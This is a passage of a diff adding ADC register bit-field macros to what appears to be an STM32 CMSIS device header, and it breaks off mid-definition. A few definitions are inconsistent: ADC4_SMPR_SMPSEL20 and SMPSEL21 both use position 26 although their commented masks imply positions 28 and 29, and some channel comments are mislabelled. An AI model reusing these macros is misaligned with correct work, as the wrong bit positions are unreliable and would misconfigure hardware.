ADC_CFGR1_AWD1CH_Pos) /*!< 0x04000000 */ +#define ADC_CFGR1_AWD1CH_1 (0x02UL << ADC_CFGR1_AWD1CH_Pos) /*!< 0x08000000 */ +#define ADC_CFGR1_AWD1CH_2 (0x04UL << ADC_CFGR1_AWD1CH_Pos) /*!< 0x10000000 */ +#define ADC_CFGR1_AWD1CH_3 (0x08UL << ADC_CFGR1_AWD1CH_Pos) /*!< 0x20000000 */ +#define ADC_CFGR1_AWD1CH_4 (0x10UL << ADC_CFGR1_AWD1CH_Pos) /*!< 0x40000000 */ + +/******************** Bit definition for ADC_CFGR2 register ********************/ +#define ADC_CFGR2_ROVSE_Pos (0UL) +#define ADC_CFGR2_ROVSE_Msk (0x1UL << ADC_CFGR2_ROVSE_Pos) /*!< 0x00000001 */ +#define ADC_CFGR2_ROVSE ADC_CFGR2_ROVSE_Msk /*!< ADC Regular group oversampler enable */ +#define ADC_CFGR2_JOVSE_Pos (1UL) +#define ADC_CFGR2_JOVSE_Msk (0x1UL << ADC_CFGR2_JOVSE_Pos) /*!< 0x00000002 */ +#define ADC_CFGR2_JOVSE ADC_CFGR2_JOVSE_Msk /*!< ADC Injected group oversampler enable */ + +#define ADC_CFGR2_OVSS_Pos (5UL) +#define ADC_CFGR2_OVSS_Msk (0xFUL << ADC_CFGR2_OVSS_Pos) /*!< 0x000001E0 */ +#define ADC_CFGR2_OVSS ADC_CFGR2_OVSS_Msk /*!< ADC Regular Oversampling shift */ +#define ADC_CFGR2_OVSS_0 (0x1UL << ADC_CFGR2_OVSS_Pos) /*!< 0x00000020 */ +#define ADC_CFGR2_OVSS_1 (0x2UL << ADC_CFGR2_OVSS_Pos) /*!< 0x00000040 */ +#define ADC_CFGR2_OVSS_2 (0x4UL << ADC_CFGR2_OVSS_Pos) /*!< 0x00000080 */ +#define ADC_CFGR2_OVSS_3 (0x8UL << ADC_CFGR2_OVSS_Pos) /*!< 0x00000100 */ + +#define ADC_CFGR2_TROVS_Pos (9UL) +#define ADC_CFGR2_TROVS_Msk (0x1UL << ADC_CFGR2_TROVS_Pos) /*!< 0x00000200 */ +#define ADC_CFGR2_TROVS ADC_CFGR2_TROVS_Msk /*!< ADC Triggered regular Oversampling */ +#define ADC_CFGR2_ROVSM_Pos (10UL) +#define ADC_CFGR2_ROVSM_Msk (0x1UL << ADC_CFGR2_ROVSM_Pos) /*!< 0x00000400 */ +#define ADC_CFGR2_ROVSM ADC_CFGR2_ROVSM_Msk /*!< ADC Regular oversampling mode */ + +#define ADC_CFGR2_OVSR_Pos (16UL) +#define ADC_CFGR2_OVSR_Msk (0x3FFUL << ADC_CFGR2_OVSR_Pos) /*!< 0x03FF0000 */ +#define ADC_CFGR2_OVSR ADC_CFGR2_OVSR_Msk /*!< ADC oversampling Ratio */ +#define ADC_CFGR2_OVSR_0 (0x001UL << ADC_CFGR2_OVSR_Pos) /*!< 0x00010000 */ +#define ADC_CFGR2_OVSR_1 (0x002UL << ADC_CFGR2_OVSR_Pos) /*!< 0x00020000 */ +#define ADC_CFGR2_OVSR_2 (0x004UL << ADC_CFGR2_OVSR_Pos) /*!< 0x00040000 */ +#define ADC_CFGR2_OVSR_3 (0x008UL << ADC_CFGR2_OVSR_Pos) /*!< 0x00080000 */ +#define ADC_CFGR2_OVSR_4 (0x010UL << ADC_CFGR2_OVSR_Pos) /*!< 0x00100000 */ +#define ADC_CFGR2_OVSR_5 (0x020UL << ADC_CFGR2_OVSR_Pos) /*!< 0x00200000 */ +#define ADC_CFGR2_OVSR_6 (0x040UL << ADC_CFGR2_OVSR_Pos) /*!< 0x00400000 */ +#define ADC_CFGR2_OVSR_7 (0x080UL << ADC_CFGR2_OVSR_Pos) /*!< 0x00800000 */ +#define ADC_CFGR2_OVSR_8 (0x100UL << ADC_CFGR2_OVSR_Pos) /*!< 0x01000000 */ +#define ADC_CFGR2_OVSR_9 (0x200UL << ADC_CFGR2_OVSR_Pos) /*!< 0x02000000 */ + +#define ADC_CFGR2_BULB_Pos (13UL) +#define ADC_CFGR2_BULB_Msk (0x1UL << ADC_CFGR2_BULB_Pos) /*!< 0x00002000 */ +#define ADC_CFGR2_BULB ADC_CFGR2_BULB_Msk /*!< ADC Bulb sampling mode */ + +#define ADC_CFGR2_SWTRIG_Pos (14UL) +#define ADC_CFGR2_SWTRIG_Msk (0x1UL << ADC_CFGR2_SWTRIG_Pos) /*!< 0x00004000 */ +#define ADC_CFGR2_SWTRIG ADC_CFGR2_SWTRIG_Msk /*!< ADC Software trigger bit for sampling time control trigger mode */ + +#define ADC_CFGR2_SMPTRIG_Pos (15UL) +#define ADC_CFGR2_SMPTRIG_Msk (0x1UL << ADC_CFGR2_SMPTRIG_Pos) /*!< 0x00008000 */ +#define ADC_CFGR2_SMPTRIG ADC_CFGR2_SMPTRIG_Msk /*!< ADC Sampling time control trigger mode */ + +#define ADC_CFGR2_LFTRIG_Pos (27UL) +#define ADC_CFGR2_LFTRIG_Msk (0x1UL << ADC_CFGR2_LFTRIG_Pos) /*!< 0x08000000 */ +#define ADC_CFGR2_LFTRIG ADC_CFGR2_LFTRIG_Msk /*!< ADC low frequency trigger mode */ + +#define ADC_CFGR2_LSHIFT_Pos (28UL) +#define ADC_CFGR2_LSHIFT_Msk (0xFUL << ADC_CFGR2_LSHIFT_Pos) /*!< 0xF0000000 */ +#define ADC_CFGR2_LSHIFT ADC_CFGR2_LSHIFT_Msk /*!< ADC Left shift factor */ +#define ADC_CFGR2_LSHIFT_0 (0x1UL << ADC_CFGR2_LSHIFT_Pos) /*!< 0x10000000 */ +#define ADC_CFGR2_LSHIFT_1 (0x2UL << ADC_CFGR2_LSHIFT_Pos) /*!< 0x20000000 */ +#define ADC_CFGR2_LSHIFT_2 (0x4UL << ADC_CFGR2_LSHIFT_Pos) /*!< 0x40000000 */ +#define ADC_CFGR2_LSHIFT_3 (0x8UL << ADC_CFGR2_LSHIFT_Pos) /*!< 0x80000000 */ + +/* Specific ADC4 */ +#define ADC4_CFGR2_OVSR_Pos (2UL) +#define ADC4_CFGR2_OVSR_Msk (0x7UL << ADC4_CFGR2_OVSR_Pos) /*!< 0x0000001C */ +#define ADC4_CFGR2_OVSR ADC4_CFGR2_OVSR_Msk /*!< ADC oversampling ratio */ +#define ADC4_CFGR2_OVSR_0 (0x1UL << ADC4_CFGR2_OVSR_Pos) /*!< 0x00000004 */ +#define ADC4_CFGR2_OVSR_1 (0x2UL << ADC4_CFGR2_OVSR_Pos) /*!< 0x00000008 */ +#define ADC4_CFGR2_OVSR_2 (0x4UL << ADC4_CFGR2_OVSR_Pos) /*!< 0x00000010 */ + +#define ADC4_CFGR2_LFTRIG_Pos (29UL) +#define ADC4_CFGR2_LFTRIG_Msk (0x1UL << ADC4_CFGR2_LFTRIG_Pos) /*!< 0x20000000 */ +#define ADC4_CFGR2_LFTRIG ADC4_CFGR2_LFTRIG_Msk /*!< ADC4 low frequency trigger mode */ + +/******************** Bit definition for ADC_SMPR1 register ********************/ +#define ADC_SMPR1_SMP0_Pos (0UL) +#define ADC_SMPR1_SMP0_Msk (0x7UL << ADC_SMPR1_SMP0_Pos) /*!< 0x00000007 */ +#define ADC_SMPR1_SMP0 ADC_SMPR1_SMP0_Msk /*!< ADC Channel 0 Sampling time selection */ +#define ADC_SMPR1_SMP0_0 (0x1UL << ADC_SMPR1_SMP0_Pos) /*!< 0x00000001 */ +#define ADC_SMPR1_SMP0_1 (0x2UL << ADC_SMPR1_SMP0_Pos) /*!< 0x00000002 */ +#define ADC_SMPR1_SMP0_2 (0x4UL << ADC_SMPR1_SMP0_Pos) /*!< 0x00000004 */ + +#define ADC_SMPR1_SMP1_Pos (3UL) +#define ADC_SMPR1_SMP1_Msk (0x7UL << ADC_SMPR1_SMP1_Pos) /*!< 0x00000038 */ +#define ADC_SMPR1_SMP1 ADC_SMPR1_SMP1_Msk /*!< ADC Channel 1 Sampling time selection */ +#define ADC_SMPR1_SMP1_0 (0x1UL << ADC_SMPR1_SMP1_Pos) /*!< 0x00000008 */ +#define ADC_SMPR1_SMP1_1 (0x2UL << ADC_SMPR1_SMP1_Pos) /*!< 0x00000010 */ +#define ADC_SMPR1_SMP1_2 (0x4UL << ADC_SMPR1_SMP1_Pos) /*!< 0x00000020 */ + +#define ADC_SMPR1_SMP2_Pos (6UL) +#define ADC_SMPR1_SMP2_Msk (0x7UL << ADC_SMPR1_SMP2_Pos) /*!< 0x000001C0 */ +#define ADC_SMPR1_SMP2 ADC_SMPR1_SMP2_Msk /*!< ADC Channel 2 Sampling time selection */ +#define ADC_SMPR1_SMP2_0 (0x1UL << ADC_SMPR1_SMP2_Pos) /*!< 0x00000040 */ +#define ADC_SMPR1_SMP2_1 (0x2UL << ADC_SMPR1_SMP2_Pos) /*!< 0x00000080 */ +#define ADC_SMPR1_SMP2_2 (0x4UL << ADC_SMPR1_SMP2_Pos) /*!< 0x00000100 */ + +#define ADC_SMPR1_SMP3_Pos (9UL) +#define ADC_SMPR1_SMP3_Msk (0x7UL << ADC_SMPR1_SMP3_Pos) /*!< 0x00000E00 */ +#define ADC_SMPR1_SMP3 ADC_SMPR1_SMP3_Msk /*!< ADC Channel 3 Sampling time selection */ +#define ADC_SMPR1_SMP3_0 (0x1UL << ADC_SMPR1_SMP3_Pos) /*!< 0x00000200 */ +#define ADC_SMPR1_SMP3_1 (0x2UL << ADC_SMPR1_SMP3_Pos) /*!< 0x00000400 */ +#define ADC_SMPR1_SMP3_2 (0x4UL << ADC_SMPR1_SMP3_Pos) /*!< 0x00000800 */ + +#define ADC_SMPR1_SMP4_Pos (12UL) +#define ADC_SMPR1_SMP4_Msk (0x7UL << ADC_SMPR1_SMP4_Pos) /*!< 0x00007000 */ +#define ADC_SMPR1_SMP4 ADC_SMPR1_SMP4_Msk /*!< ADC Channel 4 Sampling time selection */ +#define ADC_SMPR1_SMP4_0 (0x1UL << ADC_SMPR1_SMP4_Pos) /*!< 0x00001000 */ +#define ADC_SMPR1_SMP4_1 (0x2UL << ADC_SMPR1_SMP4_Pos) /*!< 0x00002000 */ +#define ADC_SMPR1_SMP4_2 (0x4UL << ADC_SMPR1_SMP4_Pos) /*!< 0x00004000 */ + +#define ADC_SMPR1_SMP5_Pos (15UL) +#define ADC_SMPR1_SMP5_Msk (0x7UL << ADC_SMPR1_SMP5_Pos) /*!< 0x00038000 */ +#define ADC_SMPR1_SMP5 ADC_SMPR1_SMP5_Msk /*!< ADC Channel 5 Sampling time selection */ +#define ADC_SMPR1_SMP5_0 (0x1UL << ADC_SMPR1_SMP5_Pos) /*!< 0x00008000 */ +#define ADC_SMPR1_SMP5_1 (0x2UL << ADC_SMPR1_SMP5_Pos) /*!< 0x00010000 */ +#define ADC_SMPR1_SMP5_2 (0x4UL << ADC_SMPR1_SMP5_Pos) /*!< 0x00020000 */ + +#define ADC_SMPR1_SMP6_Pos (18UL) +#define ADC_SMPR1_SMP6_Msk (0x7UL << ADC_SMPR1_SMP6_Pos) /*!< 0x001C0000 */ +#define ADC_SMPR1_SMP6 ADC_SMPR1_SMP6_Msk /*!< ADC Channel 6 Sampling time selection */ +#define ADC_SMPR1_SMP6_0 (0x1UL << ADC_SMPR1_SMP6_Pos) /*!< 0x00040000 */ +#define ADC_SMPR1_SMP6_1 (0x2UL << ADC_SMPR1_SMP6_Pos) /*!< 0x00080000 */ +#define ADC_SMPR1_SMP6_2 (0x4UL << ADC_SMPR1_SMP6_Pos) /*!< 0x00100000 */ + +#define ADC_SMPR1_SMP7_Pos (21UL) +#define ADC_SMPR1_SMP7_Msk (0x7UL << ADC_SMPR1_SMP7_Pos) /*!< 0x00E00000 */ +#define ADC_SMPR1_SMP7 ADC_SMPR1_SMP7_Msk /*!< ADC Channel 7 Sampling time selection */ +#define ADC_SMPR1_SMP7_0 (0x1UL << ADC_SMPR1_SMP7_Pos) /*!< 0x00200000 */ +#define ADC_SMPR1_SMP7_1 (0x2UL << ADC_SMPR1_SMP7_Pos) /*!< 0x00400000 */ +#define ADC_SMPR1_SMP7_2 (0x4UL << ADC_SMPR1_SMP7_Pos) /*!< 0x00800000 */ + +#define ADC_SMPR1_SMP8_Pos (24UL) +#define ADC_SMPR1_SMP8_Msk (0x7UL << ADC_SMPR1_SMP8_Pos) /*!< 0x07000000 */ +#define ADC_SMPR1_SMP8 ADC_SMPR1_SMP8_Msk /*!< ADC Channel 8 Sampling time selection */ +#define ADC_SMPR1_SMP8_0 (0x1UL << ADC_SMPR1_SMP8_Pos) /*!< 0x01000000 */ +#define ADC_SMPR1_SMP8_1 (0x2UL << ADC_SMPR1_SMP8_Pos) /*!< 0x02000000 */ +#define ADC_SMPR1_SMP8_2 (0x4UL << ADC_SMPR1_SMP8_Pos) /*!< 0x04000000 */ + +#define ADC_SMPR1_SMP9_Pos (27UL) +#define ADC_SMPR1_SMP9_Msk (0x7UL << ADC_SMPR1_SMP9_Pos) /*!< 0x38000000 */ +#define ADC_SMPR1_SMP9 ADC_SMPR1_SMP9_Msk /*!< ADC Channel 9 Sampling time selection */ +#define ADC_SMPR1_SMP9_0 (0x1UL << ADC_SMPR1_SMP9_Pos) /*!< 0x08000000 */ +#define ADC_SMPR1_SMP9_1 (0x2UL << ADC_SMPR1_SMP9_Pos) /*!< 0x10000000 */ +#define ADC_SMPR1_SMP9_2 (0x4UL << ADC_SMPR1_SMP9_Pos) /*!< 0x20000000 */ + +#define ADC4_SMPR_SMP1_Pos (0UL) +#define ADC4_SMPR_SMP1_Msk (0x7UL << ADC4_SMPR_SMP1_Pos) /*!< 0x00000007 */ +#define ADC4_SMPR_SMP1 ADC4_SMPR_SMP1_Msk /*!< ADC Channel 0 Sampling time selection */ +#define ADC4_SMPR_SMP1_0 (0x1UL << ADC4_SMPR_SMP1_Pos) /*!< 0x00000001 */ +#define ADC4_SMPR_SMP1_1 (0x2UL << ADC4_SMPR_SMP1_Pos) /*!< 0x00000002 */ +#define ADC4_SMPR_SMP1_2 (0x4UL << ADC4_SMPR_SMP1_Pos) /*!< 0x00000004 */ + +#define ADC4_SMPR_SMP2_Pos (4UL) +#define ADC4_SMPR_SMP2_Msk (0x7UL << ADC4_SMPR_SMP2_Pos) /*!< 0x00000070 */ +#define ADC4_SMPR_SMP2 ADC4_SMPR_SMP2_Msk /*!< ADC group of channels sampling time 2 */ +#define ADC4_SMPR_SMP2_0 (0x1UL << ADC4_SMPR_SMP2_Pos) /*!< 0x00000010 */ +#define ADC4_SMPR_SMP2_1 (0x2UL << ADC4_SMPR_SMP2_Pos) /*!< 0x00000020 */ +#define ADC4_SMPR_SMP2_2 (0x4UL << ADC4_SMPR_SMP2_Pos) /*!< 0x00000040 */ + +#define ADC4_SMPR_SMPSEL_Pos (8UL) +#define ADC4_SMPR_SMPSEL_Msk (0xFFFFFFUL << ADC4_SMPR_SMPSEL_Pos) /*!< 0xFFFFFF00 */ +#define ADC4_SMPR_SMPSEL ADC4_SMPR_SMPSEL_Msk /*!< ADC4 all channels sampling time selection */ +#define ADC4_SMPR_SMPSEL0_Pos (8UL) +#define ADC4_SMPR_SMPSEL0_Msk (0x1UL << ADC4_SMPR_SMPSEL0_Pos) /*!< 0x00000100 */ +#define ADC4_SMPR_SMPSEL0 ADC4_SMPR_SMPSEL0_Msk /*!< ADC4 channel 0 sampling time selection */ +#define ADC4_SMPR_SMPSEL1_Pos (9UL) +#define ADC4_SMPR_SMPSEL1_Msk (0x1UL << ADC4_SMPR_SMPSEL1_Pos) /*!< 0x00000200 */ +#define ADC4_SMPR_SMPSEL1 ADC4_SMPR_SMPSEL1_Msk /*!< ADC4 channel 1 sampling time selection */ +#define ADC4_SMPR_SMPSEL2_Pos (10UL) +#define ADC4_SMPR_SMPSEL2_Msk (0x1UL << ADC4_SMPR_SMPSEL2_Pos) /*!< 0x00000400 */ +#define ADC4_SMPR_SMPSEL2 ADC4_SMPR_SMPSEL2_Msk /*!< ADC4 channel 2 sampling time selection */ +#define ADC4_SMPR_SMPSEL3_Pos (11UL) +#define ADC4_SMPR_SMPSEL3_Msk (0x1UL << ADC4_SMPR_SMPSEL3_Pos) /*!< 0x00000800 */ +#define ADC4_SMPR_SMPSEL3 ADC4_SMPR_SMPSEL3_Msk /*!< ADC4 channel 3 sampling time selection */ +#define ADC4_SMPR_SMPSEL4_Pos (12UL) +#define ADC4_SMPR_SMPSEL4_Msk (0x1UL << ADC4_SMPR_SMPSEL4_Pos) /*!< 0x00001000 */ +#define ADC4_SMPR_SMPSEL4 ADC4_SMPR_SMPSEL4_Msk /*!< ADC4 channel 4 sampling time selection */ +#define ADC4_SMPR_SMPSEL5_Pos (13UL) +#define ADC4_SMPR_SMPSEL5_Msk (0x1UL << ADC4_SMPR_SMPSEL5_Pos) /*!< 0x00002000 */ +#define ADC4_SMPR_SMPSEL5 ADC4_SMPR_SMPSEL5_Msk /*!< ADC4 channel 5 sampling time selection */ +#define ADC4_SMPR_SMPSEL6_Pos (14UL) +#define ADC4_SMPR_SMPSEL6_Msk (0x1UL << ADC4_SMPR_SMPSEL6_Pos) /*!< 0x00004000 */ +#define ADC4_SMPR_SMPSEL6 ADC4_SMPR_SMPSEL6_Msk /*!< ADC4 channel 6 sampling time selection */ +#define ADC4_SMPR_SMPSEL7_Pos (15UL) +#define ADC4_SMPR_SMPSEL7_Msk (0x1UL << ADC4_SMPR_SMPSEL7_Pos) /*!< 0x00008000 */ +#define ADC4_SMPR_SMPSEL7 ADC4_SMPR_SMPSEL7_Msk /*!< ADC4 channel 7 sampling time selection */ +#define ADC4_SMPR_SMPSEL8_Pos (16UL) +#define ADC4_SMPR_SMPSEL8_Msk (0x1UL << ADC4_SMPR_SMPSEL8_Pos) /*!< 0x00010000 */ +#define ADC4_SMPR_SMPSEL8 ADC4_SMPR_SMPSEL8_Msk /*!< ADC4 channel 8 sampling time selection */ +#define ADC4_SMPR_SMPSEL9_Pos (17UL) +#define ADC4_SMPR_SMPSEL9_Msk (0x1UL << ADC4_SMPR_SMPSEL9_Pos) /*!< 0x00020000 */ +#define ADC4_SMPR_SMPSEL9 ADC4_SMPR_SMPSEL9_Msk /*!< ADC4 channel 9 sampling time selection */ +#define ADC4_SMPR_SMPSEL10_Pos (18UL) +#define ADC4_SMPR_SMPSEL10_Msk (0x1UL << ADC4_SMPR_SMPSEL10_Pos) /*!< 0x00040000 */ +#define ADC4_SMPR_SMPSEL10 ADC4_SMPR_SMPSEL10_Msk /*!< ADC4 channel 10 sampling time selection */ +#define ADC4_SMPR_SMPSEL11_Pos (19UL) +#define ADC4_SMPR_SMPSEL11_Msk (0x1UL << ADC4_SMPR_SMPSEL11_Pos) /*!< 0x00080000 */ +#define ADC4_SMPR_SMPSEL11 ADC4_SMPR_SMPSEL11_Msk /*!< ADC4 channel 11 sampling time selection */ +#define ADC4_SMPR_SMPSEL12_Pos (20UL) +#define ADC4_SMPR_SMPSEL12_Msk (0x1UL << ADC4_SMPR_SMPSEL12_Pos) /*!< 0x00100000 */ +#define ADC4_SMPR_SMPSEL12 ADC4_SMPR_SMPSEL12_Msk /*!< ADC4 channel 12 sampling time selection */ +#define ADC4_SMPR_SMPSEL13_Pos (21UL) +#define ADC4_SMPR_SMPSEL13_Msk (0x1UL << ADC4_SMPR_SMPSEL13_Pos) /*!< 0x00200000 */ +#define ADC4_SMPR_SMPSEL13 ADC4_SMPR_SMPSEL13_Msk /*!< ADC4 channel 13 sampling time selection */ +#define ADC4_SMPR_SMPSEL14_Pos (22UL) +#define ADC4_SMPR_SMPSEL14_Msk (0x1UL << ADC4_SMPR_SMPSEL14_Pos) /*!< 0x00400000 */ +#define ADC4_SMPR_SMPSEL14 ADC4_SMPR_SMPSEL14_Msk /*!< ADC4 channel 14 sampling time selection */ +#define ADC4_SMPR_SMPSEL15_Pos (23UL) +#define ADC4_SMPR_SMPSEL15_Msk (0x1UL << ADC4_SMPR_SMPSEL15_Pos) /*!< 0x00800000 */ +#define ADC4_SMPR_SMPSEL15 ADC4_SMPR_SMPSEL15_Msk /*!< ADC4 channel 15 sampling time selection */ +#define ADC4_SMPR_SMPSEL16_Pos (24UL) +#define ADC4_SMPR_SMPSEL16_Msk (0x1UL << ADC4_SMPR_SMPSEL16_Pos) /*!< 0x01000000 */ +#define ADC4_SMPR_SMPSEL16 ADC4_SMPR_SMPSEL16_Msk /*!< ADC4 channel 16 sampling time selection */ +#define ADC4_SMPR_SMPSEL17_Pos (25UL) +#define ADC4_SMPR_SMPSEL17_Msk (0x1UL << ADC4_SMPR_SMPSEL17_Pos) /*!< 0x02000000 */ +#define ADC4_SMPR_SMPSEL17 ADC4_SMPR_SMPSEL17_Msk /*!< ADC4 channel 17 sampling time selection */ +#define ADC4_SMPR_SMPSEL18_Pos (26UL) +#define ADC4_SMPR_SMPSEL18_Msk (0x1UL << ADC4_SMPR_SMPSEL18_Pos) /*!< 0x04000000 */ +#define ADC4_SMPR_SMPSEL18 ADC4_SMPR_SMPSEL18_Msk /*!< ADC4 channel 18 sampling time selection */ +#define ADC4_SMPR_SMPSEL19_Pos (27UL) +#define ADC4_SMPR_SMPSEL19_Msk (0x1UL << ADC4_SMPR_SMPSEL19_Pos) /*!< 0x08000000 */ +#define ADC4_SMPR_SMPSEL19 ADC4_SMPR_SMPSEL19_Msk /*!< ADC4 channel 19 sampling time selection */ +#define ADC4_SMPR_SMPSEL20_Pos (26UL) +#define ADC4_SMPR_SMPSEL20_Msk (0x1UL << ADC4_SMPR_SMPSEL20_Pos) /*!< 0x10000000 */ +#define ADC4_SMPR_SMPSEL20 ADC4_SMPR_SMPSEL20_Msk /*!< ADC4 channel 20 sampling time selection */ +#define ADC4_SMPR_SMPSEL21_Pos (26UL) +#define ADC4_SMPR_SMPSEL21_Msk (0x1UL << ADC4_SMPR_SMPSEL21_Pos) /*!< 0x20000000 */ +#define ADC4_SMPR_SMPSEL21 ADC4_SMPR_SMPSEL21_Msk /*!< ADC4 channel 20 sampling time selection */ +#define ADC4_SMPR_SMPSEL22_Pos (30UL) +#define ADC4_SMPR_SMPSEL22_Msk (0x1UL << ADC4_SMPR_SMPSEL22_Pos) /*!< 0x40000000 */ +#define ADC4_SMPR_SMPSEL22 ADC4_SMPR_SMPSEL22_Msk /*!< ADC4 channel 21 sampling time selection */ +#define ADC4_SMPR_SMPSEL23_Pos (31UL) +#define ADC4_SMPR_SMPSEL23_Msk (0x1UL << ADC4_SMPR_SMPSEL23_Pos) /*!< 0x80000000 */ +#define ADC4_SMPR_SMPSEL23 ADC4_SMPR_SMPSEL23_Msk /*!< ADC4 channel 23 sampling time selection */ + +/******************** Bit definition for ADC_SMPR2 register ********************/ +#define ADC_SMPR2_SMP10_Pos (0UL) +#define ADC_SMPR2_SMP10_Msk (0x7UL << ADC_SMPR2_SMP10_Pos) /*!< 0x00000007 */ +#define ADC_SMPR2_SMP10 ADC_SMPR2_SMP10_Msk /*!< ADC Channel 10 Sampling time selection */ +#define ADC_SMPR2_SMP10_0 (0x1UL << ADC_SMPR2_SMP10_Pos) /*!< 0x00000001 */ +#define ADC_SMPR2_SMP10_1 (0x2UL << ADC_SMPR2_SMP10_Pos) /*!< 0x00000002 */ +#define ADC_SMPR2_SMP10_2 (0x4UL << ADC_SMPR2_SMP10_Pos) /*!< 0x00000004 */ + +#define ADC_SMPR2_SMP11_Pos (3UL) +#define ADC_SMPR2_SMP11_Msk (0x7UL << ADC_SMPR2_SMP11_Pos) /*!< 0x00000038 */ +#define ADC_SMPR2_SMP11 ADC_SMPR2_SMP11_Msk /*!< ADC Channel 11 Sampling time selection */ +#define ADC_SMPR2_SMP11_0 (0x1UL << ADC_SMPR2_SMP11_Pos) /*!< 0x00000008 */ +#define ADC_SMPR2_SMP11_1 (0x2UL << ADC_SMPR2_SMP11_Pos) /*!< 0x00000010 */ +#define ADC_SMPR2_SMP11_2 (0x4UL << ADC_SMPR2_SMP11_Pos) /*!< 0x00000020 */ + +#define ADC_SMPR2_SMP12_Pos (6UL) +#define ADC_SMPR2_SMP12_Msk (0x7UL << ADC_SMPR2_SMP12_Pos) /*!< 0x000001C0 */ +#define ADC_SMPR2_SMP12 ADC_SMPR2_SMP12_Msk /*!< ADC Channel 12 Sampling time selection */ +#define ADC_SMPR2_SMP12_0 (0x1UL << ADC_SMPR2_SMP12_Pos) /*!< 0x00000040 */ +#define ADC_SMPR2_SMP12_1 (0x2UL << ADC_SMPR2_SMP12_Pos) /*!< 0x00000080 */ +#define ADC_SMPR2_SMP12_2 (0x4UL << ADC_SMPR2_SMP12_Pos) /*!< 0x00000100 */ + +#define ADC_SMPR2_SMP13_Pos (9UL) +#define ADC_SMPR2_SMP13_Msk (0x7UL << ADC_SMPR2_SMP13_Pos) /*!< 0x00000E00 */ +#define ADC_SMPR2_SMP13 ADC_SMPR2_SMP13_Msk /*!< ADC Channel 13 Sampling time selection */ +#define ADC_SMPR2_SMP13_0 (0x1UL << ADC_SMPR2_SMP13_Pos) /*!< 0x00000200 */ +#define ADC_SMPR2_SMP13_1 (0x2UL << ADC_SMPR2_SMP13_Pos) /*!< 0x00000400 */ +#define ADC_SMPR2_SMP13_2 (0x4UL << ADC_SMPR2_SMP13_Pos) /*!< 0x00000800 */ + +#define ADC_SMPR2_SMP14_Pos (12UL) +#define ADC_SMPR2_SMP14_Msk (0x7UL << ADC_SMPR2_SMP14_Pos) /*!< 0x00007000 */ +#define ADC_SMPR2_SMP14 ADC_SMPR2_SMP14_Msk /*!< ADC Channel 14 Sampling time selection */ +#define ADC_SMPR2_SMP14_0 (0x1UL << ADC_SMPR2_SMP14_Pos) /*!< 0x00001000 */ +#define ADC_SMPR2_SMP14_1 (0x2UL << ADC_SMPR2_SMP14_Pos) /*!< 0x00002000 */ +#define ADC_SMPR2_SMP14_2 (0x4UL << ADC_SMPR2_SMP14_Pos) /*!< 0x00004000 */ + +#define ADC_SMPR2_SMP15_Pos (15UL) +#define ADC_SMPR2_SMP15_Msk (0x7UL << ADC_SMPR2_SMP15_Pos) /*!< 0x00038000 */ +#define ADC_SMPR2_SMP15 ADC_SMPR2_SMP15_Msk /*!< ADC Channel 15 Sampling time selection */ +#define ADC_SMPR2_SMP15_0 (0x1UL << ADC_SMPR2_SMP15_Pos) /*!< 0x00008000 */ +#define ADC_SMPR2_SMP15_1 (0x2UL << ADC_SMPR2_SMP15_Pos) /*!< 0x00010000 */ +#define ADC_SMPR2_SMP15_2 (0x4UL << ADC_SMPR2_SMP15_Pos) /*!< 0x00020000 */ + +#define ADC_SMPR2_SMP16_Pos (18UL) +#define ADC_SMPR2_SMP16_Msk (0x7UL << ADC_SMPR2_SMP16_Pos) /*!< 0x001C0000 */ +#define ADC_SMPR2_SMP16 ADC_SMPR2_SMP16_Msk /*!< ADC Channel 16 Sampling time selection */ +#define ADC_SMPR2_SMP16_0 (0x1UL << ADC_SMPR2_SMP16_Pos) /*!< 0x00040000 */ +#define ADC_SMPR2_SMP16_1 (0x2UL << ADC_SMPR2_SMP16_Pos) /*!< 0x00080000 */ +#define ADC_SMPR2_SMP16_2 (0x4UL << ADC_SMPR2_SMP16_Pos) /*!< 0x00100000 */ + +#define ADC_SMPR2_SMP17_Pos (21UL) +#define ADC_SMPR2_SMP17_Msk (0x7UL << ADC_SMPR2_SMP17_Pos) /*!< 0x00E00000 */ +#define ADC_SMPR2_SMP17 ADC_SMPR2_SMP17_Msk /*!< ADC Channel 17 Sampling time selection */ +#define ADC_SMPR2_SMP17_0 (0x1UL << ADC_SMPR2_SMP17_Pos) /*!< 0x00200000 */ +#define ADC_SMPR2_SMP17_1 (0x2UL << ADC_SMPR2_SMP17_Pos) /*!< 0x00400000 */ +#define ADC_SMPR2_SMP17_2 (0x4UL << ADC_SMPR2_SMP17_Pos) /*!< 0x00800000 */ + +#define ADC_SMPR2_SMP18_Pos (24UL) +#define ADC_SMPR2_SMP18_Msk (0x7UL << ADC_SMPR2_SMP18_Pos) /*!< 0x07000000 */ +#define ADC_SMPR2_SMP18 ADC_SMPR2_SMP18_Msk /*!< ADC Channel 18 Sampling time selection */ +#define ADC_SMPR2_SMP18_0 (0x1UL << ADC_SMPR2_SMP18_Pos) /*!< 0x01000000 */ +#define ADC_SMPR2_SMP18_1 (0x2UL << ADC_SMPR2_SMP18_Pos) /*!< 0x02000000 */ +#define ADC_SMPR2_SMP18_2 (0x4UL << ADC_SMPR2_SMP18_Pos) /*!< 0x04000000 */ + +#define ADC_SMPR2_SMP19_Pos (27UL) +#define ADC_SMPR2_SMP19_Msk (0x7UL << ADC_SMPR2_SMP19_Pos) /*!< 0x38000000 */ +#define ADC_SMPR2_SMP19 ADC_SMPR2_SMP19_Msk /*!< ADC Channel 19 Sampling time selection */ +#define ADC_SMPR2_SMP19_0 (0x1UL << ADC_SMPR2_SMP19_Pos) /*!< 0x08000000 */ +#define ADC_SMPR2_SMP19_1 (0x2UL << ADC_SMPR2_SMP19_Pos) /*!< 0x10000000 */ +#define ADC_SMPR2_SMP19_2 (0x4UL << ADC_SMPR2_SMP19_Pos) /*!< 0x20000000 */ + +/******************** Bit definition for ADC_PCSEL register ********************/ +#define ADC_PCSEL_PCSEL_Pos (0UL) +#define ADC_PCSEL_PCSEL_Msk (0xFFFFFUL << ADC_PCSEL_PCSEL_Pos) /*!< 0x000FFFFF */ +#define ADC_PCSEL_PCSEL ADC_PCSEL_PCSEL_Msk /*!< ADC pre channel selection */ +#define ADC_PCSEL_PCSEL_0 (0x00001UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000001 */ +#define ADC_PCSEL_PCSEL_1 (0x00002UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000002 */ +#define ADC_PCSEL_PCSEL_2 (0x00004UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000004 */ +#define ADC_PCSEL_PCSEL_3 